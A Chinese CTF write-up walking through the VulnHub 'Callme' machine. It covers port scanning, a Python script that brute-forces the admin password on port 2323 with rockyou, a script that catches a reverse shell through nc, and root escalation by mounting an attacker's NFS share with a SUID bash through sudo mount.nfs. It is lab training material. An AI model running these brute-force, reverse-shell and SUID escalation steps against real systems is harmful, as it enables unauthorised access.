这个靶场打起来有点摸不着头脑,网上找大佬的wp不是收费就是不太清楚,素以打算自己来写一个,顺便记录一下,如有什么问题,欢迎大佬们评论指正。

靶场地址:https://www.vulnhub.com/entry/callme-1,615/

我是在VMware里做的,首先先把网络连接模式改为nat

靶机打开之后是这样的

先扫一下IP,我是一直用的这个指令,感觉比较快

arp-scan -l

这里如果扫不到IP可以看一下主页文章,又相关修改配置文章,这里不在赘述

正常步骤,接下来用nmap来扫一下开放端口

 nmap -sC -sV -v -T4 192.168.199.149

通过扫描发现开放了这三个端口,其中这个2323端口没见过,去网上搜索了一下

继续看下面2323端口出来的信息,有一些登录请求的响应

我们可以看到,如果用户名存在会提示密码错误,用户名不存在会直接提示不存在,后面通过尝试也确定了存在admin这个用户

尝试一下使用hydra爆破密码

不知道什么情况,这也太慢了,算下来要爆到猴年马月,打算写个脚本来试试

#!/usr/bin/python
# -*- coding: utf-8 -*-

import socket
import time
import sys

print("[~]This is a script for a VM(Callme) for Foxlox")

# 指定 encoding='latin-1' 或 errors='ignore' 以防止 rockyou.txt 读取报错
try:
    wordlist_file = open('/usr/share/wordlists/rockyou.txt', 'r', encoding='latin-1')
except FileNotFoundError:
    print("\n[!] 错误: 找不到 rockyou.txt 文件,请检查路径。")
    sys.exit(1)

with wordlist_file as passwords:
    # 2. 修改:zip 范围逻辑保留,但建议确认 1575 是否涵盖了目标密码
    for (passwd, i) in zip(passwords, range(1, 1575)):
        passwd = passwd.strip() # 去除换行符
        
        # 3. 修改:进度条计算强制转为 int,防止浮点数报错
        try:
            percent = int(i // (1575 / 100))
            bar_len = int(i // (1575 / 20))
            print("\rBrute force is cracking... {}% {}".format(percent, "▋" * bar_len), end="")
        except ZeroDivisionError:
            pass

        username = b'admin'
        ip = '192.168.192.149' # 目标靶机的真实 IP
        port = 2323
        
        # try-except 块,防止网络波动导致脚本崩溃
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(3) # 设置超时,防止无限等待
            s.connect((ip, port))
            
            s.recv(1024) # Banner
            s.recv(1024) # Login prompt
            
            s.send(username + b'\r\n')
            s.recv(1024) # Password prompt
            
            # 发送密码
            s.send(passwd.encode() + b'\r\n')
            
            # 5. 修改:接收响应并安全解码
            re = s.recv(1024)
            response_str = re.decode('utf-8', errors='ignore') # 将字节转为字符串以便比较
            
            s.close() # 记得关闭连接
            
            sys.stdout.flush()
           
            if "Wrong password for user admin" not in response_str and len(response_str) > 0:
                print("\n\n[*] Get it! PASSWORD is: -> {} <-".format(passwd))
                break
                
        except socket.error:
            # 网络连接报错时跳过当前尝试,不中断脚本
            pass
        except Exception as e:
            print("\n[!] Error: " + str(e))

也是成功爆破出了密码

但是连接还是有问题

每次都会返回一个数字,像是端口号,想要监听端口,但是每次返回的端口号都不一样,决定多尝试几次

尝试后发现返回的端口号在1000~4000这个范围内,找ai写个登录脚本看看能不能反弹

#!/usr/bin/python

from word2number import w2n
import socket
import time
import os
import sys

print("[~]This is a script for a VM(Callme) for Foxlox")

# 循环爆破或者重试
while True:
    username = b'admin'
    password = b'booboo'
    ip = '192.168.199.149'
    port = 2323
    
    try:
        s = socket.socket()
        s.connect((ip, port))
        
        # 接收 Banner
        print(f"[*] Banner: {s.recv(1024).decode().strip()}")
        print(f"[*] Banner: {s.recv(1024).decode().strip()}")
        
        # 发送用户名
        s.send(username + b'\r\n')
        print(f"[>] Sent: {username}")
        
        # 接收 Password 提示
        print(f"[*] Recv: {s.recv(1024).decode().strip()}")
        
        # 发送密码
        s.send(password + b'\r\n')
        print(f"[>] Sent: {password}")
        
        response_bytes = s.recv(1024)
        response_str = response_bytes.decode().lower().strip()
        print(f"[<] Server said: '{response_str}'") # 打印出来看看究竟是什么
        
        # 尝试转换 (防止报错导致脚本退出)
        try:

            port_num = w2n.word_to_num(response_str) 
            print(f"[*] Parsed Port Number: {port_num}")
            
            # 既然拿到了端口,可能需要关闭控制连接,否则端口可能被占用
            s.close() 
            
            cmd = f"nc -lvnp {port_num}"
            print(f"[*] Executing: {cmd}")
            os.system(cmd)
            
            # 如果 nc 结束了,可能是拿到了 shell 退出,或者是超时,根据情况决定是否 break
            break 
            
        except ValueError:
            print("[-] Error: Could not convert response to number. Is it pure text?")
            break

    except Exception as e:
        print(f"[-] Exception: {e}")
        time.sleep(1)
        continue

做的时候注意一下,不知道是我这的问题还是怎么回事,我做着做着靶机也没关机,但是一直没出结果,我去扫了一下,发现已经扫不到我靶机的IP了,如果有大佬知道这是怎么回事可以和我说一下吗。

这里重启了计算机后,重新运行代码

反弹成功

发现他的指令系统好奇怪,不是之前正常用的了,也可能我接触的还是太少

这里发现了两个可疑的文件,一个是local.txt一个是startup,分别看一下

这里这个文件指向了一个exe文件

先看看这个MD5能不能处理一下

解密失败了

那就看一下那个exe文件吧,现根据信息找一下这个程序

dir /a /s /b recallserver.exe

我们在这个目录下开启临时http服务,把文件下载到本地
可以用nc反弹文件试一下

然后查看下里面的字符串看看有没有有用信息

发现存在用户fox可能的密码是tutankamenFERILLI,用ssh连接一下试试

(折腾了半天,终于有点进展了)

使用代码获得一个可交互的终端

python -c "import pty;pty.spawn('/bin/bash')"

sudo -l看一下有没有可以用来提权的

sudo -l结果显示用户fox可以以 root 身份运行/usr/sbin/mount.nfs也就是说可以把一个远程 NFS 共享目录挂载到这台靶机上。

提权思路: 我们可以在自己的攻击机(Kali)上搭建一个 NFS 服务器,并在共享目录里放一个拥有 SUID 权限的 Bash(或者其他 Shell)。然后利用这个 sudo 命令把共享目录挂载到靶机上,运行这个 Bash,就能获得 Root Shell。

先试一下在kali上配置payload

sudo apt-get install nfs-kernel-server

先下载我们需要的

接着来配置我们创建共享目录并制作 SUID Shell(一定要切换到root下执行这些指令)我们需要复制一个/bin/bash,并给它加上s权限(SUID)。这样当它在靶机上运行时,会继承文件所有者(Root)的权限。

mkdir /tmp/nfs_share
cp /bin/bash /tmp/nfs_share/suidbash
chmod u+s /tmp/nfs_share/suidbash

# 确认权限看起来是 -rwsr-xr-x,那个 's' 最重要
ls -l /tmp/nfs_share/suidbash

然后配置NFS共享,编辑/etc/exports文件,允许靶机挂载这个目录

# 使用 nano 或 vi 编辑 /etc/exports,在末尾添加一行:
/tmp/nfs_share *(rw,sync,no_root_squash,no_subtree_check)

重启 NFS 服务

sudo service nfs-kernel-server restart

接下来我们在靶机(Fox)上挂载

创建一个挂载点

mkdir /tmp/root_mount

利用 sudo 权限挂载共享目录

sudo /usr/sbin/mount.nfs 192.168.199.128:/tmp/nfs_share /tmp/root_mount

执行 SUID Shell: 现在/tmp/root_mount里的内容就是你 Kali 上准备的文件。 (注意:运行 bash 时必须加-p参数,否则它会出于安全原因丢弃 SUID 权限)

/tmp/root_mount/suidbash -p

运行后发现报错,版本不兼容,所以决定把靶机的bash复制出来,处理后再挂载回去,这样应该就不会出现版本不兼容问题

先把靶机本地的 bash 复制到刚才挂载的目录里。

# 复制靶机的 bash 到共享目录,并重命名为 suidbash_fixed
cp /bin/bash /tmp/root_mount/suidbash_fixed

这里可能会报错

是因为在 Kali上创建的共享文件夹/tmp/nfs_sahre默认权限通常是 root 独占(只读),而你在靶机上是以普通用户的身份尝试写入,所以被拒绝了。要回到Kali上放开这个文件夹的权限。

sudo chmod 777 /tmp/nfs_share

然后再执行上面的代码就可以了

现在需要去刚刚创建的共享文件夹里,找到刚才那个文件,给它加权限。

# 进入共享目录
cd /tmp/nfs_share

# 确认看到了刚才从靶机复制过来的文件
ls -l suidbash_fixed

# 修改所有者为 root
chown root:root suidbash_fixed

# 添加 SUID 权限
chmod u+s suidbash_fixed

# 确认权限变成 -rwsr-xr-x
ls -l suidbash_fixed

现在我们回到ssh上重新执行

/tmp/root_mount/suidbash_fixed -p

OK了成功提权到root了

再root目录下拿到flag,这个题终于结束了

如有问题请大佬批评指正

Logo

火山引擎开发者社区是火山引擎打造的AI技术生态平台,聚焦Agent与大模型开发,提供豆包系列模型(图像/视频/视觉)、智能分析与会话工具,并配套评测集、动手实验室及行业案例库。社区通过技术沙龙、挑战赛等活动促进开发者成长,新用户可领50万Tokens权益,助力构建智能应用。

更多推荐